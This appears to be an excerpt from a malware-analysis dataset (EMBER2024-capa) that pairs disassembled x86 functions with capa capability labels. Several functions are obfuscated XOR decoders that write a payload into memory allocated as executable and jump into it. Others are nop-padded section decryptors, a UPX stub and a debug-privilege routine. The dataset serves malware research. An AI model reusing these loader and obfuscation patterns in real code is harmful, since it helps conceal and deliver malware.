joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e1e4
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x423c88]
je 0x40e1ff
inc edi
cmp edi, 0x17
jb 0x40e1f0
cmp edi, 0x17
jae 0x40e37f
push ebp
push 3
call fcn.004150e0
cmp eax, 1
pop ecx
je 0x40e34b
push 3
call fcn.004150e0
test eax, eax
pop ecx
jne 0x40e233
cmp dword [0x423ad0], 1
je 0x40e34b
cmp ebx, 0xfc
je 0x40e37e
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x426e18
push ebp
call fcn.0041507b
add esp, 0xc
test eax, eax
je 0x40e269
push esi
push esi
push esi
push esi
push esi
call fcn.0040f83f
add esp, 0x14
push 0x104
mov esi, 0x426e31
push esi
push 0
mov byte [0x426f35], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40e2ad
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0041507b
add esp, 0xc
test eax, eax
je 0x40e2ad
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0040f83f
add esp, 0x14
push esi
call fcn.00414ff0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40e2f2
push esi
call fcn.00414ff0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x42712c
push 0x41dc74
sub ecx, eax
push ecx
push eax
call fcn.00414f30
add esp, 0x14
test eax, eax
je 0x40e2f2
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0040f83f
add esp, 0x14
jmp 0x40e2f4
xor esi, esi
push 0x41dc70
push ebx
push ebp
call fcn.00414ebf
add esp, 0xc
test eax, eax
je 0x40e314
push esi
push esi
push esi
push esi
push esi
call fcn.0040f83f
add esp, 0x14
push dword [edi*8 + 0x423c8c]
push ebx
push ebp
call fcn.00414ebf
add esp, 0xc
test eax, eax
je 0x40e336
push esi
push esi
push esi
push esi
push esi
call fcn.0040f83f
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00414d02
add esp, 0xc
jmp 0x40e37e
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x40e37e
cmp ebp, 0xffffffff
je 0x40e37e
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x423c8c]
push dword [esi]
call fcn.00414ff0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x414d02
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040ed94
xor ebx, ebx
cmp dword [0x427910], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x414dd8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x414eb8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x414eb8
push eax
call fcn.0040ed26
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x427910], eax
call esi
push eax
call fcn.0040ed26
mov dword [esp], 0x41deac
push edi
mov dword [0x427914], eax
call esi
push eax
call fcn.0040ed26
mov dword [0x427918], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040df26
test eax, eax
pop ecx
pop ecx
je 0x414da6
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040f83f
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x414dd8
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040ed26
cmp eax, ebx
pop ecx
mov dword [0x427920], eax
je 0x414dd8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040ed26
pop ecx
mov dword [0x42791c], eax
mov eax, dword [0x42791c]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x414e5d
cmp dword [0x427920], ecx
je 0x414e5d
push eax
call fcn.0040ed9d
push dword [0x427920]
mov esi, eax
call fcn.0040ed9d
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x414e5d
cmp edi, ebx
je 0x414e5d
call esi
cmp eax, ebx
je 0x414e2a
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x414e2a
test byte [ebp - 0x18], 1
jne 0x414e5d
lea eax, [ebp - 0x10]
push eax
call fcn.0040df5d
test eax, eax
pop ecx
je 0x414e45
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040f83f
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x414e54
or dword [ebp + 0x10], 0x200000
jmp 0x414e98
or dword [ebp + 0x10], 0x40000
jmp 0x414e98
mov eax, dword [0x427914]
cmp eax, dword [ebp - 8]
je 0x414e98
push eax
call fcn.0040ed9d
cmp eax, ebx
pop ecx
je 0x414e98
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x414e98
mov eax, dword [0x427918]
cmp eax, dword [ebp - 8]
je 0x414e98
push eax
call fcn.0040ed9d
cmp eax, ebx
pop ecx
je 0x414e98
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x427910]
call fcn.0040ed9d
cmp eax, ebx
pop ecx
je 0x414eb8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x414eba
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41a6be
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x423ad4]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0041a653
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040b6a0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x41a70d
cmp dword [ebp - 0x1c], 5
jb 0x41a725
jmp 0x41a721
cmp dword [ebp - 0x10], 1
jne 0x41a725
cmp dword [ebp - 0x1c], 4
ja 0x41a721
jne 0x41a725
cmp dword [ebp - 0x18], 0
jbe 0x41a725
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x41f08c
call fcn.0041a544
test eax, eax
jge 0x41a746
mov byte [0x424ef4], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040b0f5
add ebp, 0x78
leave
ret
Function at 0x40216b
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
call main
jmp 0x402175
push 0x14
push 0x411788
call fcn.00405300
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x4021a3
xor ebx, ebx
jmp 0x4021d6
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40219f
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40219f
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x4021d6
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004048ef
test eax, eax
jne 0x4021ea
push 0x1c
call main
pop ecx
call fcn.00403b58
test eax, eax
jne 0x4021fb
push 0x10
call main
pop ecx
call fcn.004051cc
and dword [ebp - 4], 0
call fcn.00404904
test eax, eax
jns 0x402215
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4162e8], eax
call main
mov dword [0x414430], eax
call main
test eax, eax
jns 0x40223b
push 8
call main
pop ecx
call fcn.00404de7
test eax, eax
jns 0x40224c
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x40225f
push eax
call main
pop ecx
call fcn.00405299
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x402281
push esi
call main
call fcn.00404663
jmp 0x4022b6
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00405345
ret

Function at 0x4034b4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4034c3
pop dword [ebp - 0x14]
mov eax, 0x4b2ed3e6
add eax, 0xb51160dd
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xc4c8d7d2
sub dword [ebp - 0x24], 0x76769287
mov dword [ebp - 0x20], 0x453780e4
add dword [ebp - 0x20], 0xecfbcb61
mov dword [ebp - 0x1c], 0x101d0d0f
sub dword [ebp - 0x1c], 0xc3d0c8e1
mov dword [ebp - 0x18], 0x211756b7
add dword [ebp - 0x18], 0xdee8a949
lea eax, [ebp - 0x24]
push eax
mov eax, 0x12c7ced8
add eax, 0xed79015c
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xf1b3ba7
add dword [ebp - 0x24], 0x65572daf
mov dword [ebp - 0x20], 0x7d85aa84
add dword [ebp - 0x20], 0xc3e6b6f1
mov dword [ebp - 0x1c], 0xe2937f38
add dword [ebp - 0x1c], 0x80dbed34
mov dword [ebp - 0x18], 0x8eec3985
add dword [ebp - 0x18], 0x7113c67b
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x387e435d
add eax, 0xc7c28cd3
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x374f2
push 0
call eax
mov ecx, 0xa8acb9a7
add ecx, 0x5753884e
xor esi, esi
add esi, eax
mov edi, 0xad0d625f
sub edi, 0xaccb525f
add edi, dword [ebp - 0x14]
mov edx, 0xf27018cc
add edx, 0x261a2b67
add dword [ebp - 8], 0x9d007449
mov ebx, dword [edi]
sub ebx, edx
sub dword [ebp - 0x10], 0xb7957c55
mov dword [esi], ebx
xor dword [ebp - 8], 0x7686f735
add esi, 0xa84cbf06
add esi, 0x57b340fe
add edi, 0xed0cf1fc
add edi, 0x12f30e08
loop 0x4035e7
add eax, 0x394de76e
add eax, 0xc6b31339
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x83b57710
sub ecx, 0x83757710
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x403ba7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x403bb6
pop dword [ebp - 0x3c]
mov eax, 0x403bb6
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x3658e
push 0
mov eax, 0xa5d9e1c7
sub eax, 0xa59900ff
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0xbd3580b1
sub ecx, 0xbd354118
xor ebx, ebx
add ebx, eax
mov esi, 0xb3c390ec
add esi, 0x4c7e0714
add esi, dword [ebp - 0x3c]
mov edi, 0x44a25945
sub edi, 0xe45e496d
sub dword [ebp - 0x1c], edi
mov edx, dword [esi]
xor dword [ebp - 0x10], 0x81f57b4a
add edx, edi
sub dword [ebp - 0x2c], edx
mov dword [ebx], edx
xor dword [ebp - 0x1c], 0xd123195d
add ebx, 4
add esi, 0x54fab49d
sub esi, 0x54fab499
loop 0x403c12
add eax, 0x4b713bd8
add eax, 0xb48fb55f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xad5821f9
sub ecx, 0xad1821f9
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x402793
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4027a2
pop dword [ebp - 0x14]
mov eax, 0x483f8e14
add eax, 0xb800998e
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3c32e
push 0
mov eax, 0x43846293
sub eax, 0x434381bb
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xdf8e377f
sub ecx, 0xdf8de5ff
xor esi, esi
add esi, eax
mov edx, 0x413bc4
add edx, dword [ebp - 0x14]
mov edi, 0xd4605073
add edi, 0xc9074f3b
mov dword [ebp - 0x10], 0xcd59a72c
mov ebx, dword [edx]
add dword [ebp - 0xc], 0x516407c8
xor ebx, edi
add dword [ebp - 0xc], 0xa5e760ac
mov dword [esi], ebx
add dword [ebp - 0xc], edx
add esi, 0x7bca943b
sub esi, 0x7bca9437
add edx, 4
loop 0x4027fd
add eax, 0x138d3
xor ebx, ebx
add ebx, eax
add eax, 0xec3135ac
sub eax, 0xec3135a7
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x417890
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
or ebp, 0xffffffff
jmp 0x4178b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4178b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4178a8
mov eax, 1
add ebx, ebx
jne 0x4178cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4178c0
jne 0x4178dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4178c0
xor ecx, ecx
sub eax, 3
jb 0x4178f0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x417962
mov ebp, eax
add ebx, ebx
jne 0x4178fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x417908
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41792c
inc ecx
add ebx, ebx
jne 0x417918
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41790d
jne 0x417929
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41790d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41794c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41793d
jmp 0x4178ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41794c
add edi, ecx
jmp 0x4178ae
pop esi
mov edi, esi
mov ecx, 0x71
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41796a
cmp byte [edi], 5
jne 0x41796a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41796f
lea edi, [esi + 0x15000]
mov eax, dword [edi]
or eax, eax
je 0x4179e7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x177c4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17844]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41799c
mov ecx, edi
jns 0x4179cb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1784c]
or eax, eax
je 0x4179e1
mov dword [ebx], eax
add ebx, 4
jmp 0x4179b9
call dword [esi + 0x17848]
mov ebp, dword [esi + 0x17850]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x417a1b
sub esp, 0xffffff80
jmp 0x401bb2

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x403203
pop dword [ebp - 0x1c]
mov eax, 0x94dd7e10
add eax, 0x6b62b3f3
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xa2653fb1
sub dword [ebp - 0x2c], 0x5412fa66
mov dword [ebp - 0x28], 0xdaba00c0
add dword [ebp - 0x28], 0x57794b85
mov dword [ebp - 0x24], 0xc62b7600
add dword [ebp - 0x24], 0x8620ce2e
mov dword [ebp - 0x20], 0x9644cad6
add dword [ebp - 0x20], 0x69bb352a
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x4f084065
add eax, 0xb1384027
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x1f827e06
add dword [ebp - 0x2c], 0x54efeb50
mov dword [ebp - 0x28], 0x8b50a90f
sub dword [ebp - 0x28], 0x49e4479a
mov dword [ebp - 0x24], 0x7b5b8414
add dword [ebp - 0x24], 0xe813e858
mov dword [ebp - 0x20], 0x7a1f90b8
sub dword [ebp - 0x20], 0x7a1f90b8
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3afb1
push 0
call eax
mov ecx, 0xeb5870f7
add ecx, 0x14a7e895
xor edx, edx
add edx, eax
mov ebx, 0x9980a97b
sub ebx, 0x993f997b
add ebx, dword [ebp - 0x1c]
mov edi, 0xba943f48
xor dword [ebp - 0x10], ebx
mov esi, dword [ebx]
add dword [ebp - 0x10], eax
sub esi, edi
add dword [ebp - 4], edi
mov dword [edx], esi
sub dword [ebp - 0x10], ebx
add edx, 0x9ee6956b
sub edx, 0x9ee69567
add ebx, 4
loop 0x40331c
add eax, 0x15903
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x41cf70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x41cf7f
pop dword [ebp - 0x20]
mov eax, 0x41cf7f
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3df96
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x388bf8db
sub ecx, 0x388baffa
mov ebx, eax
mov edx, 0x435400
add edx, dword [ebp - 0x20]
mov edi, 0xef31cf14
sub edi, 0xe579e4e3
add dword [ebp - 0x1c], eax
mov esi, dword [edx]
xor esi, edi
sub dword [ebp - 0xc], esi
mov dword [ebx], esi
xor dword [ebp - 0xc], 0x8cae35a0
add ebx, 4
add edx, 4
loop 0x41cfce
add eax, 0x7b3b53fe
add eax, 0x84c5c259
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40345b
pop dword [ebp - 8]
mov eax, 0x46bdb934
add eax, 0xb9827b27
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xfa575863
sub dword [ebp - 0x18], 0xac051318
mov dword [ebp - 0x14], 0x49f46ffa
add dword [ebp - 0x14], 0xe83edc4b
mov dword [ebp - 0x10], 0xea53fe7c
add dword [ebp - 0x10], 0x61f845b2
mov dword [ebp - 0xc], 0xfd05ec94
sub dword [ebp - 0xc], 0xfd05ec94
lea eax, [ebp - 0x18]
push eax
mov eax, 0x23676499
sub eax, 0x23272445
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x47ab8689
add dword [ebp - 0x18], 0x2cc6e2cd
mov dword [ebp - 0x14], 0x55121b12
add dword [ebp - 0x14], 0xec5a4663
mov dword [ebp - 0x10], 0xf5ac6c02
sub dword [ebp - 0x10], 0x923cff96
mov dword [ebp - 0xc], 0xa0f1ece8
sub dword [ebp - 0xc], 0xa0f1ece8
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3a64b
push 0
call eax
mov ecx, 0xc3904131
add ecx, 0x3c7014ec
mov edi, eax
mov ebx, 0x408400
add ebx, dword [ebp - 8]
mov edx, 0x57c5096d
add dword [ebp - 4], 0xab6e71af
mov esi, dword [ebx]
sub dword [ebp - 4], 0xba7d777d
sub esi, edx
sub dword [ebp - 4], eax
mov dword [edi], esi
xor dword [ebp - 4], 0xac626a01
add edi, 4
add ebx, 0xe33a2326
sub ebx, 0xe33a2322
loop 0x40356c
add eax, 0x14b47
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x309b2f6f
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5c6319e0
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x410c70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4025e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x70
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401f20
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.00404fd8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x64]
push eax
push 0x28
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00405038
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x70], 0
setne dl
neg edx
movsx eax, dx
test eax, eax
je 0x410e25
mov dword [ebp - 4], 4
xor ecx, ecx
test ecx, ecx
je 0x410d46
mov dword [ebp - 4], 6
mov dword [ebp - 0x6c], 0x1c
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x1c
lea ecx, [ebp - 0x60]
push ecx
push 0
mov edx, dword [ebp - 0x64]
push edx
call fcn.00405088
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
jmp 0x410e25
mov dword [ebp - 4], 9
lea eax, [ebp - 0x44]
push eax
push 0x404ae4
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0
call fcn.004050e8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x6c], 0
setne dl
neg edx
mov word [ebp - 0x74], dx
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x74]
test eax, eax
je 0x410e25
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x60], 1
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410dc3
mov dword [ebp - 0x8c], 0
jmp 0x410dcf
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x74]
imul edx, edx, 0xc
lea eax, [ebp + edx - 0x5c]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410e06
mov dword [ebp - 0x90], 0
jmp 0x410e12
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x54], 2
jmp 0x410d14
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x64]
push edx
call fcn.00404e50
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x410e4d
jmp 0x410e4c
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
popal
nop
nop
nop
nop
nop
jmp 0x431219